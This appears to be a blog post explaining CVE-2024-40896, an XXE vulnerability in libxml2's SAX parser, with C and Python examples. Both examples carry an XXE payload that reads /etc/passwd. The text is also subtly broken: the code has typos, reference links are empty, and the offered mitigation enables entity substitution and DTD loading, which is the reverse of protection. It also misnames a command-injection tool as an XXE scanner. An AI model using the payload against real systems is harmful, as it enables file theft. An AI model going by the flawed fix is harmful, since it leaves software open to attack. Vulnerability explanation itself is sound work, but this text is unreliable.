---
Intro: What is CVE-2024-40896?
CVE-2024-40896 is a serious security vulnerability found in popular XML parsing library libxml2 (versions 2.11 before 2.11.9, 2.12 before 2.12.9, and 2.13 before 2.13.3). If you use SAX parsing in libxml2, attackers can trigger classic XXE (XML External Entity) attacks—even if you think you blocked them using custom handlers.
This post explains, in simple terms, what the vulnerability is, how it happens (with code!), how it can be exploited, and how to protect yourself. *Everything below is exclusive, direct, and designed for people who want to really understand what’s going on, not just copy-paste patches.*
What’s the Problem?
The libxml2 SAX parser lets developers define their own handlers to control or sanitize XML content. You might expect that if you catch and block an entity reference (external DTD, for example), libxml2 will *never* leak event data related to it. But due to a bug, libxml2 might *still generate SAX events for external entities*, even when your handlers think they “checked” or blocked the content.
Result: You get classic XXE, allowing attackers to read local files, perform SSRF, or escalate access.
libxml2 v2.13.x before 2.13.3
Latest fixed version: libxml2 2.13.3 changelog
Technical Details (with Code)
Let’s see an example of how this bug appears in real code.
Suppose you use libxml2 in C with a custom SAX handler that intends to prevent external entities
#include <libxml/parser.h>
#include <libxml/SAX2.h>
void myEntityDecl(void *ctx, const xmlChar *name, int type, const xmlChar *publicId,
const xmlChar *systemId, xmlChar *content)
{
// Mark as "checked": Let's pretend to block XXE.
if (systemId != NULL) {
// Assume we block external entities here
printf("Blocked external entity: %s\n", systemId);
}
}
int main() {
xmlSAXHandler sh = {};
sh.entityDecl = myEntityDecl;
// Dangerous XML with external entity
const char *xml = "<?xml version='1.'?>"
"<!DOCTYPE foo ["
" <!ELEMENT foo ANY >"
" <!ENTITY xxe SYSTEM \"file:///etc/passwd\" >]>"
"<foo>&xxe;</foo>";
xmlSAXUserParseMemory(&sh, NULL, xml, strlen(xml));
xmlCleanupParser();
return ;
}
Expected Behavior:
- When an external entity is encountered (SYSTEM "file:///etc/passwd"), myEntityDecl detects it and, in theory, "blocks" it.
What Actually Happens:
- Even if the handler claims to have “checked” the entity, libxml2 will still process and expose the resolved value in SAX events. Any logic you have in myEntityDecl or related hooks can be side-stepped.
- Attacker’s payload gets executed—can leak /etc/passwd or anything the system can access via URL schemes.
If you use libxml2 in a web service (Python example), and parse untrusted XML
from lxml import etree
xml = """
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
"""
tree = etree.fromstring(xml)
print(etree.tostring(tree))
Reference Links
- libxml2 official issue tracker: XXE bug report
- libxml2 releases page (fixes in 2.11.9/2.12.9/2.13.3)
- XEE and libxml2 - OWASP XXE_Processing)
ctxt->replaceEntities = 1;
ctxt->options |= XML_PARSE_NOENT | XML_PARSE_NOCDATA | XML_PARSE_NONET | XML_PARSE_DTDLOAD | XML_PARSE_DTDATTR;
Audit every place you use libxml2 SAX and never rely only on custom hooks for entity security.
- Test for XXE vulnerabilities with scanners (XXEinjector or commix).
Conclusion
CVE-2024-40896 shows even careful developers can be fooled by subtle library bugs. Never *assume* your hooks prevent XXE attacks—always scan, test, and upgrade. Relying on custom “flag checks” isn’t enough! This isn’t just theory; real data can leak, and attackers are watching for slow upgraders.
Patch now, spread the word, and double-check your XML boundaries!
If you want help or have questions, hit me up for exclusive guidance, PoC scripts, or more deep dives on XML security. Stay safe!
Timeline
Published on: 12/23/2024 17:15:08 UTC
Last modified on: 12/24/2024 03:15:06 UTC